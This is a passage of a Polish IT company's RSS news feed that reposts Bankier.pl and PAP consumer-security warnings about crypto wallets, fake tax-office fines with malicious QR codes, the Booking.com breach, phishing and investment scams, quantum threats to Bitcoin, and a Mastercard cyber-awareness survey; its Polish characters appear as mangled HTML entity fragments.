- W and#347;wiecie kryptowalut funkcjonuje zasada: "Not your keys, not your coins" - jeand#347;li ktoand#347; inny kontroluje klucze prywatne, to w praktyce kontroluje rand#243;wnieand#380; twoje and#347;rodki. Najprostsza opcja to zostawienie kryptowalut na gieand#322;dzie. To wygodne, ale oznacza, and#380;e faktyczny dostand#281;p do and#347;rodkand#243;w ma poand#347;rednik. Historia kryptowalut zna przypadki wand#322;amaand#324; czy bankructw gieand#322;d, dlatego wiele osand#243;b traktuje je raczej jako miejsce do kupna i sprzedaand#380;y niand#380; dand#322;ugoterminowy sejf - podkreand#347;la ekspert.
Portfele kryptowalut - wszystko co musisz wiedzieand#263;
Jak wspominaand#322;em w jednych z pierwszych notatek poand#347;wiand#281;conych dziaand#322;aniu kryptowalut, od bycia posiadaczem bitcoinand#243;w do bycia byand#322;ym posiadaczem bitcoinand#243;w, dzieli nas klucz prywatny. To skomplikowany dand#322;ugi ciand#261;g znakand#243;w i cyfer, mogand#261;cy wygland#261;daand#263; np. tak:


E9883D79C6D27DC0FB6A5778633389F4453211303DA61F20BD67FC533AA33262


and#160;
Jak widaand#263;, trudno to zapamiand#281;taand#263;. Trzeba zatem gdzieand#347; zapisaand#263;. Gdzie? W portfelu kryptowalut. Jakim? Zaleand#380;y od preferencji. Do wyboru mamy mniej i bardziej bezpieczne rozwiand#261;zania - czand#281;sto to co bezpieczniejsze jest mniej wygodne.
Mateusz Jamioand#322;kowski wyjaand#347;niand#322; mi, and#380;e poza gieand#322;dami, kryptowaluty moand#380;na trzymaand#263;and#160;w portfelach programowych, czyli aplikacji na telefon lub komputer.and#160;Uand#380;ytkownik przechowuje wtedy sam klucze prywatne i ma peand#322;nand#261; kontroland#281; nad and#347;rodkami. Jak podkreand#347;la ekspert najbezpieczniejszand#261; opcjand#261; jest jednak portfel sprzand#281;towy, czyli niewielkie urzand#261;dzenie przechowujand#261;ce klucze offline. Dziand#281;ki temu sand#261; one znacznie lepiej chronione przed atakami z internetu.
- W praktyce wiele osand#243;b zaczyna od prostego schematu: kupno kryptowalut na gieand#322;dzie, a nastand#281;pnie wypand#322;ata do wand#322;asnego portfela. Gdy wartoand#347;and#263; and#347;rodkand#243;w zaczyna byand#263; znaczand#261;ca, wtedy warto pomyand#347;leand#263; o portfelu sprzand#281;towym - tand#322;umaczy Jamioand#322;kowski.
  and#378;rodand#322;oand#160;Bankier.pl 16 kwiecieand#324; 2026and#160;and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Fałszywe mandaty za wycieraczkami samochodów. KAS ostrzega kierowców ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1680</link>
			<description><![CDATA[ Przestand#281;pcy podszywajand#261; siand#281; pod Krajowand#261; Administracjand#281; Skarbowand#261; i rozsyand#322;ajand#261; faand#322;szywe ulotki z wezwaniem do zapand#322;aty.and#160;Ministerstwo Finansand#243;w przypomina, and#380;eand#160;KAS nie wystawia mandatand#243;w w formie ulotek.




and#160;

fot. SuPatMaN /and#160;/and#160;Shutterstock


Krajowa Administracja Skarbowa ostrzega przed oszustwem, ktand#243;re moand#380;e naraziand#263; kierowcand#243;w nie tylko na utratand#281; pieniand#281;dzy, ale takand#380;e danych z telefonu. Przestand#281;pcy podszywajand#261; siand#281; pod KAS iand#160;zostawiajand#261; za wycieraczkami samochodand#243;w faand#322;szywe ulotki z wezwaniem do zapand#322;aty mandatu. Na wydrukach pojawia siand#281; logo skarband#243;wki oraz kod QR, ktand#243;ry moand#380;e prowadziand#263; do zand#322;oand#347;liwego oprogramowania.




and#160;

Faand#322;szywe wezwania do zapand#322;aty mandatuand#160;(Ministerstwo Finansand#243;w - Krajowa Administracja Skarbowa)


and#160;
KAS nie przekazuje wezwaand#324; do zapand#322;aty mandatand#243;w karnych za wykroczenia drogowe w postaci ulotek informacyjnych, podkreand#347;lono w komunikacie opublikowanym na stronie Ministerstwa Finansand#243;w. Takie wydruki z bezprawnie uand#380;ytym logo KAS pochodzand#261; od oszustand#243;w.

Przestrzegamy przed tego typu oszustwami i apelujemy o zachowanie szczegand#243;lnej ostroand#380;noand#347;ciand#8221; and#8211; zaznaczyand#322; resort finansand#243;w.and#160;

and#160;
Ministerstwo Finansand#243;w pokreand#347;la, and#380;e znajdujand#261;cy siand#281; w treand#347;ci ulotki kod QR moand#380;e zawieraand#263; szkodliwy adres URL.and#160;Po jego zeskanowaniu uand#380;ytkownik moand#380;e zostaand#263; przekierowany na faand#322;szywy adres internetowy lub skand#322;oniony do pobrania zand#322;oand#347;liwego oprogramowania. W praktyce moand#380;e to oznaczaand#263; utratand#281; danych, przejand#281;cie dostand#281;pu do urzand#261;dzenia albo zainstalowanie wirusa na telefonie. Kaand#380;dy dokument tego typu powinien wzbudziand#263; czujnoand#347;and#263;, zwand#322;aszczaand#160;jeand#347;li zawiera wezwanie do natychmiastowej zapand#322;atyand#160;i posand#322;uguje siand#281; znakami graficznymi instytucji publicznej.
and#160;


"KAS nie przekazuje wezwaand#324; do zapand#322;aty mandatand#243;w karnych za wykroczenia drogowe w postaci ulotek informacyjnych. W przypadku otrzymania faand#322;szywej ulotki (...)and#160;pod and#380;adnym pozorem nie naleand#380;y skanowaand#263; znajdujand#261;cego siand#281; w niej kodu QR. Taki kod moand#380;e zawieraand#263; szkodliwy adres URL i nakierowaand#263; osoband#281; skanujand#261;cand#261; na pobranie tzw. zand#322;oand#347;liwego oprogramowania. Jego uand#380;ycie moand#380;e spowodowaand#263; utratand#281; danych albo zawirusowanie telefonu.
W przypadku gdy otrzymana informacja dotyczand#261;ca mandatu karnego (ulotka, wiadomoand#347;and#263; e-mail lub SMS) budzi jakiekolwiek wand#261;tpliwoand#347;ci zachand#281;camy doand#160;zalogowania siand#281; do e-Urzand#281;du Skarbowego (e-US), gdzie moand#380;na sprawdziand#263; i opand#322;aciand#263; mandaty karne (zarand#243;wno gotand#243;wkowe, jak i kredytowane)and#160;w szybki i wygodny sposand#243;b online:

w aplikacji mobilnej e-US dostand#281;pna jest zakand#322;adka and#8222;Mandatyand#8221;, w ktand#243;rej moand#380;na sprawdziand#263; wykaz naand#322;oand#380;onych mandatand#243;w karnych,
mandat moand#380;na opand#322;aciand#263; bezpoand#347;rednio przez serwis e-US, co pozwala na szybkie uregulowanie naleand#380;noand#347;ci bez koniecznoand#347;ci wypeand#322;niania przelewu rand#281;cznie.

Zachand#281;camy teand#380; do korzystania z platformy CERT, ktand#243;ra sand#322;uand#380;y do zgand#322;aszania wszelkich incydentand#243;w w zakresie cyberbezpieczeand#324;stwa" - informuje biuro prasowe Ministerstwa Finansand#243;w w odpowiedzi na pytanie przesand#322;ane przez redakcje Bankier.pl.
and#378;rodand#322;o Bankier.pl 15 kwiecieand#324; 2026and#160; oprac. DF ]]></description>
		</item><item>
			<title><![CDATA[ Booking.com ostrzega – atakujący mieli dostęp do twoich rezerwacji ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1679</link>
			<description><![CDATA[ W ostatnich dniach czand#281;and#347;and#263; aktywnych uand#380;ytkownikand#243;w platformy Booking.com otrzymaand#322;a niepokojand#261;ce powiadomienia. Firma ostrzega, and#380;e padand#322;a prawdopodobnie ofiarand#261; wand#322;amania do systemand#243;w obsand#322;ugujand#261;cych rezerwacje, a przestand#281;pcy mogand#261; wykorzystaand#263; pozyskane dane do celowanego phishingu.
and#160;



and#160;


fot. Koshiro K /and#160;/and#160;Shutterstock


and#8222;Nieupowaand#380;nione osoby trzecie mogand#322;y uzyskaand#263; dostand#281;p do niektand#243;rych informacji zwiand#261;zanych z Paand#324;stwa rezerwacjand#261;and#8221; and#8211; takand#261; wiadomoand#347;and#263; otrzymali niektand#243;rzy uand#380;ytkownicy platformy Booking.com w ostatnich dniach. and#8222;Niedawno odnotowaliand#347;my podejrzanand#261; aktywnoand#347;and#263; dotyczand#261;cand#261; wielu rezerwacji i natychmiast podjand#281;liand#347;my dziaand#322;ania w celu rozwiand#261;zania problemu. Opierajand#261;c siand#281; na dotychczasowych wynikach naszego dochodzenia, uzyskane informacje mogand#322;y obejmowaand#263; szczegand#243;and#322;y rezerwacji, imiona i nazwiska, adresy e-mail, adresy zamieszkania, numery telefonand#243;w powiand#261;zane z rezerwacjand#261; oraz wszelkie inne dane udostand#281;pnione obiektowiand#8221; and#8211; czytamy w powiadomieniu.
and#160;




and#160;



Booking.com w tej samej wiadomoand#347;ci wskazuje, and#380;e w celu zapewnienia bezpieczeand#324;stwa rezerwacji zmieniono jej kod PIN. Jednoczeand#347;nie firma ostrzega, przed oszustami podszywajand#261;cymi siand#281; pod obiekty lub platformand#281;. Chociaand#380; w powiadomieniu nie podkreand#347;lono, and#380;e faand#322;szywe wiadomoand#347;ci mogand#261; byand#263; oparte na pozyskanych przez wand#322;amywaczy danych, to jest oczywiste, and#380;e taki scenariusz oznaczaand#322;by szansand#281; na przygotowanie spersonalizowanych komunikatand#243;w phishingowych.



Jak wskazuje branand#380;owy serwisand#160;and#8222;The Registerand#8221;, w przeszand#322;oand#347;ci wewnand#281;trzny system wiadomoand#347;ci Booking.com, sand#322;uand#380;and#261;cy do komunikacji na linii klient-obiekt, bywaand#322; juand#380; wykorzystywany do wyand#322;udzeand#324;. Dziaand#322;o siand#281; tak, gdy wand#322;amujand#261;cy siand#281; pozyskiwali dane dostand#281;powe np. hotelu korzystajand#261;cego z platformy.
Booking.com nie wskazaand#322; do tej pory, w jaki sposand#243;b atakujand#261;cy wand#322;amali siand#281; do systemu rezerwacji i jak dand#322;ugo byli w stanie dziaand#322;aand#263; wewnand#261;trz.
and#160;
and#160;







and#378;rodand#322;o Bankier.pland#160;and#160;14 kwiecieand#324; 2026and#160; MKis ]]></description>
		</item><item>
			<title><![CDATA[ W trakcie rekrutacji proszą cię o przelew na szkolenie? Uważaj to scam! ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1678</link>
			<description><![CDATA[ W ostatnich dniach pojawiand#322;y siand#281; ostrzeand#380;enia przed trzema schematami oszustw and#8211; faand#322;szywymi procesami rekrutacji, e-mailami z wirusem kradnand#261;cym dane bankowe oraz wyand#322;udzeniami od przedsiand#281;biorcand#243;w podszywajand#261;cymi siand#281; pod ministerstwo.
and#160;





and#160;

/and#160;Bankier.pl


Faand#322;szywy rekruter, ktand#243;ry chce twoich pieniand#281;dzy
Zwiand#261;zek Bankand#243;w Polskich ostrzega przed nasilajand#261;cymi siand#281; oszustwami and#8222;na rekrutera". Schemat jest prosty: przestand#281;pcy kontaktujand#261; siand#281; z osobami szukajand#261;cymi pracy, podszywajand#261;c siand#281; pod dziaand#322;y HR znanych firm lub agencji rekrutacyjnych. Wiadomoand#347;and#263; wygland#261;da profesjonalnie and#8211; informacja o pozytywnej weryfikacji CV, zaproszenie na szybkand#261; rozmowand#281;, oferta pracy zdalnej z atrakcyjnym wynagrodzeniem.



Haczyk pojawia siand#281; po kilku etapach and#8222;rekrutacji". Kandydat jest proszony o wpand#322;atand#281; za rzekome szkolenie, badania lekarskie albo wyposaand#380;enie do pracy. Nastand#281;pnie pojawiajand#261; siand#281; kolejne opand#322;aty and#8211; kaand#380;da uzasadniana and#8222;nastand#281;pnym etapem". Rand#243;wnolegle wyand#322;udzane sand#261; dane osobowe, a niekiedy ofiara jest nakand#322;aniana do otwarcia nowego konta bankowego and#8222;do obsand#322;ugi wynagrodzenia", ktand#243;re w rzeczywistoand#347;ci sand#322;uand#380;y do prania pieniand#281;dzy.
and#160;
Zasada jest jedna: and#380;aden uczciwy pracodawca nie pobiera opand#322;at od kandydatand#243;w. Jeand#347;li ktoand#347; and#380;and#261;da pieniand#281;dzy w trakcie rekrutacji and#8211; to nie jest rekrutacja.
Faktura "od Orange", ktand#243;ra czyand#347;ci konto
CERT Orange Polska 8 kwietnia poinformowaand#322; o kampanii phishingowej, w ktand#243;rej oszuand#347;ci rozsyand#322;ajand#261; e-maile udajand#261;ce faktury od Orange. Wiadomoand#347;and#263; na pierwszy rzut oka wygland#261;da wiarygodnie, ale brakuje w niej numeru klienta i danych personalnych and#8211; elementand#243;w, ktand#243;re w prawdziwych fakturach operatora sand#261; zawsze obecne. Adres nadawcy, choand#263; wyand#347;wietla nazwand#281; Orange, w rzeczywistoand#347;ci prowadzi do obcej domeny.



















Zaand#322;and#261;cznik to archiwum ZIP. Po rozpakowaniu pojawia siand#281; plik z ikonand#261; PDF, ale jest to skrypt uruchamiajand#261;cy wieloetapowe pobieranie zand#322;oand#347;liwego oprogramowania Formbook. To malware wyspecjalizowany w kradzieand#380;y danych bankowych and#8211; przechwytuje loginy, hasand#322;a i dane kart zapisane w przegland#261;darce, rejestruje naciand#347;niand#281;cia klawiszy i robi zrzuty ekranu. Co gorsza, potrafi podszywaand#263; siand#281; pod strony polskich bankand#243;w na tyle skutecznie, and#380;e ofiara sama wpisuje kody autoryzacyjne z SMS-and#243;w. Jedna klikniand#281;ta and#8222;faktura" moand#380;e oznaczaand#263; peand#322;nand#261; utratand#281; kontroli nad kontem.
Przedsiand#281;biorco, ministerstwo nie wysyand#322;a ci rachunkand#243;w za BDO
Ministerstwo Klimatu i and#346;rodowiska ostrzegand#322;o w ubiegand#322;ym tygodniu przed faland#261; faand#322;szywych wezwaand#324; kierowanych do przedsiand#281;biorcand#243;w. Wiadomoand#347;ci e-mail i pisma informujand#261; o koniecznoand#347;ci wniesienia opand#322;aty za wpis lub aktualizacjand#281; danych w rejestrze BDO (Baza danych o produktach i opakowaniach oraz o gospodarce odpadami). Czand#281;and#347;and#263; z nich jest opatrzona prawdziwymi nazwiskami osand#243;b z kierownictwa resortu, co ma uwiarygodniand#263; przekaz.
Resort jednoznacznie podkreand#347;la: MKiand#346; nigdy nie wysyand#322;aand#322;o wezwaand#324; do pand#322;atnoand#347;ci za BDO i nie robi tego obecnie. Oficjalne komunikaty ministerstwa sand#261; publikowane wyand#322;and#261;cznie w domenie gov.pl. Kaand#380;dand#261; podejrzanand#261; wiadomoand#347;and#263; warto zgand#322;osiand#263; przez formularz na stronie incydent.cert.pl.
and#160;
and#378;rodand#322;o Bankier.pland#160; 14 kwiecieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Widzisz ofertę „Quantum AI”? Ministerstwo Finansów ostrzega: Nie wypełniaj tego formularza ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1677</link>
			<description><![CDATA[ Oszuand#347;ci podszywajand#261; siand#281; pod Ministerstwo Finansand#243;w (MF), zachand#281;cajand#261; do aktywacji konta na faand#322;szywej platformie inwestycyjnej i w ten sposand#243;b prand#243;bujand#261; wyand#322;udziand#263; dane - ostrzegand#322; w poniedziaand#322;ek resort.




and#160;

fot. Jacek Szydlowski /and#160;/and#160;


Jak wynika z komunikatu, oszuand#347;ci podszywajand#261; siand#281; pod Ministerstwo Finansand#243;w m.in. poprzez wykorzystywanie logo resortu. Obiecujand#261; duand#380;e, szybkie zyski i zachand#281;cajand#261; uand#380;ytkownikand#243;w do zaand#322;oand#380;enia konta na platformie inwestycyjnej and#8222;Quantum AIand#8221; za pomocand#261; formularza rejestracyjnego.
and#8222;Jest to prand#243;ba wyand#322;udzenia informacjiand#8221; - ostrzegand#322; resort i zaapelowaand#322;, by nie wypeand#322;niaand#263; i nie przesyand#322;aand#263; formularzy z podejrzanych stron.
MF podkreand#347;liand#322;o, and#380;e przygotowane przez oszustand#243;w faand#322;szywe strony sand#261; czand#281;sto podobne do oryginalnych stron resortu finansand#243;w i trudno je odrand#243;and#380;niand#263;. Dlatego naleand#380;y zwracaand#263; szczegand#243;lnand#261; uwagand#281; na opis linku w adresie strony internetowej - wskazaand#322; resort. Dodaand#322;, and#380;e adresy faand#322;szywych stron zawierajand#261; np. przecinki zamiast kropek, drobne band#322;and#281;dy, literand#243;wki czy dodatkowe znaki.
Jeand#380;eli otrzymana wiadomoand#347;and#263; e-mail lub SMS budzi wand#261;tpliwoand#347;ci lub gdy ktoand#347; zadzwoniand#322; i podaand#322; siand#281; za pracownika urzand#281;du skarbowego, and#380;and#261;dajand#261;c wraand#380;liwych informacji, resort radzi, aby zadzwoniand#263; i wyjaand#347;niand#263; tand#281; sytuacjand#281; na infolinii KAS, pod nr tel.: 22 330 03 30.

















Incydenty cyberbezpieczeand#324;stwa moand#380;na zgand#322;aszaand#263; do CERT Polska przez stronand#281; incydent.cert.pl, a podejrzane wiadomoand#347;ci SMS - pod numer 8080.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 13 kwiecieand#324; 2026and#160; mbl/ pad/ ]]></description>
		</item><item>
			<title><![CDATA[ Bomba zegarowa za 150 mld dolarów tyka. Alarm dla rynku kryptowalut ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1676</link>
			<description><![CDATA[ Bomba zegarowa o szacunkowej wartoand#347;ci 150 mld dolarand#243;w tyka. Google ostrzega, and#380;e komputery kwantowe mogand#261; niebawem bez wiand#281;kszych problemand#243;w zand#322;amaand#263; zabezpieczenia Bitcoina. Zgodnie z informacjami podanymi przez ekspertand#243;w, takie wand#322;amanie band#281;dzie wymagaand#322;o mniejszej mocy obliczeniowej, niand#380; pierwotnie sand#261;dzono.




and#160;

fot. CineVI /and#160;/and#160;Shutterstock


Wpis na blogu Google Research zelektryzowaand#322; and#347;rodowisko zajmujand#261;ce siand#281; kryptowalutami. Jak siand#281; okazuje, w niedalekiej przyszand#322;oand#347;ci komputery kwantowe band#281;dand#261; w stanie zand#322;amaand#263; kryptografiand#281; opartand#261; na krzywych eliptycznych, ktand#243;ra jest fundamentem techniki szyfrowania kluczem publicznym, wykorzystywanej przez znacznand#261; czand#281;and#347;and#263; rynku.and#160;To sprawia, and#380;e Bitcoin i inne aktywa cyfrowe mogand#261; straciand#263; swand#243;j dotychczasowy parasol ochronny. Jak sugerujand#261; badacze w opublikowanej biaand#322;ej ksiand#281;dze, w konsekwencji konieczne band#281;dzie przejand#347;cie na kryptografiand#281; postkwantowand#261;, ktand#243;ra wytrzyma napand#243;r potand#281;and#380;nych maszyn obliczeniowych and#8211; informuje agencja Bloomberg.
Analitycy jednak uspokajajand#261;, podkreand#347;lajand#261;c, and#380;eand#160;to ostrzeand#380;enie, a nie prognoza upadku.
and#160;

Mamy czas na przeniesienie publicznych blockchainand#243;w na kryptografiand#281; postkwantowand#261;, choand#263; margines band#322;and#281;du staje siand#281; coraz wand#281;and#380;szy and#8211; zaznaczajand#261;.

Obecnie bezpieczeand#324;stwo kryptowalut opiera siand#281; na prostej zasadzie: z klucza prywatnego moand#380;na obliczyand#263; klucz publiczny. Odwrotna operacja byand#322;a do tej pory w praktyce niewykonalna, gdyand#380; nawet najszybszym tradycyjnym komputerom zajand#281;and#322;oby to okoand#322;o tysiand#261;ca lat. Komputery kwantowe mogand#261; jednak zmieniand#263; zasady gry. Okazaand#322;o siand#281; bowiem, and#380;e do osiand#261;gniand#281;cia tego celu potrzeba "zaledwie" 500 tys. kubitand#243;w (wczeand#347;niej mand#243;wiono o milionie). Powodand#243;w do paniki na razie nie ma - najbardziej zaawansowane, publicznie znane procesory kwantowe dysponujand#261; obecnie uand#322;amkiem tej mocy (ok. 100 kubitand#243;w), wiand#281;c technologii wciand#261;and#380; jeszcze trochand#281; brakuje do tego poziomu.
Z obliczeand#324; przedstawionych przez serwis Bezprawnik.pl wynika, and#380;e przy and#347;rednim czasie potwierdzenia transakcji wynoszand#261;cym 10 minut, potencjalny napastnik ma okoand#322;o 9 minut na zand#322;amanie poand#322;owy kodu (pierwszand#261; czand#281;and#347;and#263; moand#380;na obliczyand#263; z gand#243;ry, korzystajand#261;c ze staand#322;ych parametrand#243;w protokoand#322;u). Co wiand#281;cej, prawie 7 mln bitcoinand#243;w (czyli mniej wiand#281;cej jedna trzecia wszystkich w obiegu) znajduje siand#281; obecnie w portfelach, ktand#243;rych klucz publiczny zostaand#322; juand#380; w ten czy inny sposand#243;b ujawniony. Wartoand#347;and#263; tych kryptowalut to okoand#322;o 1,8 biliona zand#322;otych.
and#160;
and#160;
and#378;rodand#322;o Bankier.pl and#160;13 kwiecieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Świadomość niebezpieczeństw cybernetycznych wciąż niska. Kto "nie docenia" zagrożeń? ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1675</link>
			<description><![CDATA[ Polskie firmy wciand#261;and#380; nieand#160;doszacowujand#261; ryzyka cyberatakand#243;w, choand#263; skala zagroand#380;enia szybko roand#347;nie. Z danych CERT Polska wynika, and#380;e wand#160;2025 roku zarejestrowano 260,8 tys. incydentand#243;w cyberbezpieczeand#324;stwa, a badanie Mastercard pokazuje, and#380;e szczegand#243;lnie maand#322;e firmy nadal zbyt czand#281;sto uznajand#261; to ryzyko za niewielkie. Wedand#322;ug badania cyberatak lub naruszenie bezpieczeand#324;stwa cyfrowego miaand#322;a juand#380; za soband#261; co czwarta maand#322;a firma iand#160;co druga duand#380;a organizacja wand#160;Polsce.



and#160;


fot. SomYuZu /and#160;/and#160;Shutterstock


  - Przeprowadziliand#347;my badanie wand#347;rand#243;d polskich przedsiand#281;biorcand#243;w - maand#322;ych, and#347;rednich iand#160;duand#380;ych, aby oceniand#263;, jak wygland#261;da ich and#347;wiadomoand#347;and#263; zwiand#261;zana zand#160;cyberprzestand#281;pczoand#347;ciand#261; iand#160;potrzeband#261; ochrony przed cyberatakami. To, co nas zaskoczyand#322;o, to brak and#347;wiadomoand#347;ci na temat zagroand#380;eand#324;and#160;- podkreand#347;la wand#160;rozmowie zand#160;agencjand#261; Newseria Maand#322;gorzata Domagaand#322;a, VP, dyrektorka ds. produktand#243;w iand#160;rozwiand#261;zaand#324; Mastercard na Polskand#281;, Czechy iand#160;Sand#322;owacjand#281;. - Wand#347;rand#243;d maand#322;ych firm tylko 5 proc. obawia siand#281; cyberatakand#243;w.






and#160;



and#160;



Tylko wand#160;ubiegand#322;ym roku CERT Polska obsand#322;uand#380;yand#322; ponad 260 tys. incydentand#243;w - oand#160;152 proc. wiand#281;cej niand#380; rok wczeand#347;niej. Mimo to, jak wynika zand#160;badania Mastercard, 71 proc. ankietowanych reprezentantand#243;w maand#322;ych firm ocenia ryzyko ataku cybernetycznego na swoje przedsiand#281;biorstwo jako niskie lub raczej niskie. Tylko 5 proc. zauwaand#380;a bardzo wysokie cyberzagroand#380;enie dlaand#160;swojej organizacji. Duand#380;e firmy pod tym kand#261;tem wykazujand#261; zdecydowanie mniej optymizmu - 18 proc. dostrzega bardzo wysokie lub wysokie ryzyko ataku.
and#160;
and#346;wiadomoand#347;and#263; zagroand#380;eand#324; skorelowana jest nie tylko z wielkoand#347;ciand#261; organizacji, ale rand#243;wnieand#380; z doand#347;wiadczeniami firmy. Organizacje, ktand#243;re majand#261; juand#380; atak za soband#261;, czand#281;and#347;ciej dostrzegajand#261; potencjalne ryzyka na przyszand#322;oand#347;and#263;. W Polsce 1/4 maand#322;ych firm, 44 proc. and#347;rednich firm i ponad 50 proc. duand#380;ych firm juand#380; doand#347;wiadczyand#322;o takiego cyberataku - wskazuje Maand#322;gorzata Domagaand#322;a.
and#160;
Wedand#322;ug maand#322;ych firm obszary uznawane za najbardziej podatne na dziaand#322;ania cyberprzestand#281;pcand#243;w to dane klientand#243;w (46 proc.) orazand#160;dane finansowe iand#160;ksiand#281;gowe (41 proc.). and#346;rednie iand#160;duand#380;e organizacje czand#281;and#347;ciej wskazujand#261; natomiast na wewnand#281;trzne systemy IT, bazy danych, dane pracownikand#243;w iand#160;dokumenty strategiczne.  







- Widzimy na podstawie analiz iand#160;informacji od wyspecjalizowanych organizacji zajmujand#261;cych siand#281; cyberbezpieczeand#324;stwem, and#380;e najczand#281;and#347;ciej atakowane sand#261; zasoby zwiand#261;zane zand#160;danymi klientand#243;w iand#160;danymi pracownikand#243;w - ocenia dyrektorka ds. produktand#243;w iand#160;rozwiand#261;zaand#324; Mastercard na Polskand#281;, Czechy iand#160;Sand#322;owacjand#281;.  
Najczand#281;and#347;ciej ofiarami cyberprzestand#281;pcand#243;w padajand#261; podmioty zand#160;branand#380;y produkcyjnej (49 proc.), handlowej (38 proc.) orazand#160;e-commerce (34 proc.).  
- Przedsiand#281;biorcy nieand#160;doceniajand#261; skali atakand#243;w. Zagroand#380;eand#324; jest wiand#281;cej niand#380; te, zand#160;ktand#243;rychand#160;zdajand#261; oni sobie sprawand#281;,and#160;a jednoczeand#347;nie firmy deklarujand#261; wiand#281;kszand#261; gotowoand#347;and#263; iand#160;lepszeand#160;zabezpieczenia organizacji niand#380; te, ktand#243;rymi dysponujand#261;and#160;w rzeczywistoand#347;ciand#160;- ocenia ekspertka.  
Najwiand#281;ksze niedoszacowanie zagroand#380;eand#324; dotyczy najmniejszych podmiotand#243;w. Z badania wynika, and#380;e wiele zand#160;nich zakand#322;ada, iand#380; cyberprzestand#281;pcy koncentrujand#261; siand#281; przede wszystkim na duand#380;ych organizacjach. Dane zand#160;badania wskazujand#261;, and#380;e mniejsze firmy rand#243;wnieand#380; sand#261; czand#281;stym celem atakand#243;w, m.in. ze wzgland#281;du na niand#380;szy poziom zabezpieczeand#324; orazand#160;dostand#281;p do danych klientand#243;w lub partnerand#243;w biznesowych.
and#160;







- Cyberprzestand#281;pczoand#347;and#263; to jest wand#160;tej chwili trzecia gospodarka na and#347;wiecieand#160;-and#160;jej wartoand#347;and#263; toand#160;10,5 bln dol. rocznie. W zwiand#261;zku zand#160;tym, jeand#380;eli maand#322;a firma ma odpowiednio atrakcyjne zasoby zwiand#261;zane czy zand#160;bazand#261; klientand#243;w, czy swoimi danymi, to moand#380;e zostaand#263; zaatakowana - przekonuje Maand#322;gorzata Domagaand#322;a.  
Najczand#281;stsze formy atakand#243;w to ransomware orazand#160;dziaand#322;ania zand#160;wykorzystaniem socjotechniki. W pierwszym przypadku cyberprzestand#281;pcy blokujand#261; dostand#281;p do systemand#243;w iand#160;and#380;and#261;dajand#261; okupu, wand#160;drugim - wykorzystujand#261; manipulacjand#281;, aby uzyskaand#263; dostand#281;p do danych lub infrastruktury.and#160;Skala tego typu zagroand#380;eand#324; widoczna jest takand#380;e wand#160;danych CERT Polska - tylko wand#160;2025 roku zablokowano ponad 140 mln prand#243;b wejand#347;cia na zand#322;oand#347;liwe strony, ktand#243;re czand#281;sto podszywajand#261; siand#281; pod banki, firmy kurierskie czy usand#322;ugi publiczne.  
- Czasami cyberprzestand#281;pcy podszywajand#261; siand#281; pod przeand#322;oand#380;onych iand#160;wywoand#322;ujand#261; poczucie, and#380;e and#8222;coand#347;and#8221;and#160;trzeba zrobiand#263; nagle iand#160;konieczne jest szybkie dziaand#322;anie. Powodujand#261;, and#380;e u pracownika wand#322;and#261;cza siand#281; mechanizm strachu iand#160;instynktownego reagowania, ktand#243;ry sprawia, and#380;e dana osoba nieand#160;myand#347;li racjonalnieand#160;- tand#322;umaczy ekspertka Mastercard.  
Badanie Mastercard pokazuje, and#380;e to wand#322;aand#347;nie czynnik ludzki pozostaje jednym zand#160;kluczowych elementand#243;w ryzyka. Jednoczeand#347;nie dziaand#322;ania firm po incydentach koncentrujand#261; siand#281; gand#322;and#243;wnie na usuwaniu skutkand#243;w ataku. Rzadziej wdraand#380;ane sand#261; rozwiand#261;zania oand#160;charakterze dand#322;ugofalowym, takie jak systemowe zarzand#261;dzanie ryzykiem czy regularna edukacja pracownikand#243;w.  







Duand#380;e iand#160;and#347;rednie firmy orazand#160;te, ktand#243;re wand#160;przeszand#322;oand#347;ci doand#347;wiadczyand#322;y cyberataku, czand#281;and#347;ciej majand#261; plan reagowania na incydenty cyberprzestand#281;pcze. W przypadku maand#322;ych firm tylko 18 proc. posiada tego typu dokument. Podobnie jest wand#160;podejand#347;ciu do szkolenia pracownikand#243;w - 64 proc. duand#380;ych podmiotand#243;w szkoli pracownikand#243;w wand#160;obszarze cyberbezpieczeand#324;stwa przynajmniej raz wand#160;roku, a ponad poand#322;owa maand#322;ych jeszcze nigdy nieand#160;przeprowadziand#322;a tego typu szkoleand#324;.  
Jeand#380;eli pomyand#347;limy, and#380;e manipulacja jest jednym zand#160;kluczowych elementand#243;w zwiand#261;zanych zand#160;atakami, to moand#380;na sobie wyobraziand#263;, and#380;e gand#322;and#243;wnym iand#160;najlepszym rozwiand#261;zaniem jest edukacja pracownikand#243;w. Natomiast niewielki odsetek firm zaatakowanych informuje oand#160;tym pracownikand#243;w orazand#160;przekazuje im instrukcje, co naleand#380;aand#322;oby zrobiand#263; iand#160;jak siand#281; przed takim cyberatakiem chroniand#263;.and#160;Dostrzegamy ogromnand#261; lukand#281;and#160;edukacyjnand#261;, a wand#160;naszej ocenie wand#322;aand#347;nie and#347;wiadomoand#347;and#263; iand#160;edukacja pracownikand#243;w mogand#322;yby wand#160;duand#380;ej mierze wesprzeand#263; budowanie odpornoand#347;ci cyfrowej firmand#160;- podkreand#347;la Maand#322;gorzata Domagaand#322;a.
and#160;
and#160;

and#377;rand#243;dand#322;o:  and#160;and#160;12 kwiecieand#324; 2026and#160; ]]></description>
		</item><item>
			<title><![CDATA[ Cyberprzestępcy będą masowo wykorzystywać AI do generowania reklam ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1674</link>
			<description><![CDATA[ W tym roku cyberprzestand#281;pcy band#281;dand#261; masowo wykorzystywaand#263; AI do generowania reklam faand#322;szywych inwestycji - oceniand#322; w rozmowie z PAP kierownik zespoand#322;u CSIRT KNF Karol Paciorek. Blokowanie faand#322;szywych reklam w social mediach jest jak walka z Hydrand#261;, ale dziaand#322;ania zespoand#322;u przynoszand#261; efekty - dodaand#322;.






and#160;


fot. Daviddwi10 /and#160;/and#160;Shutterstock


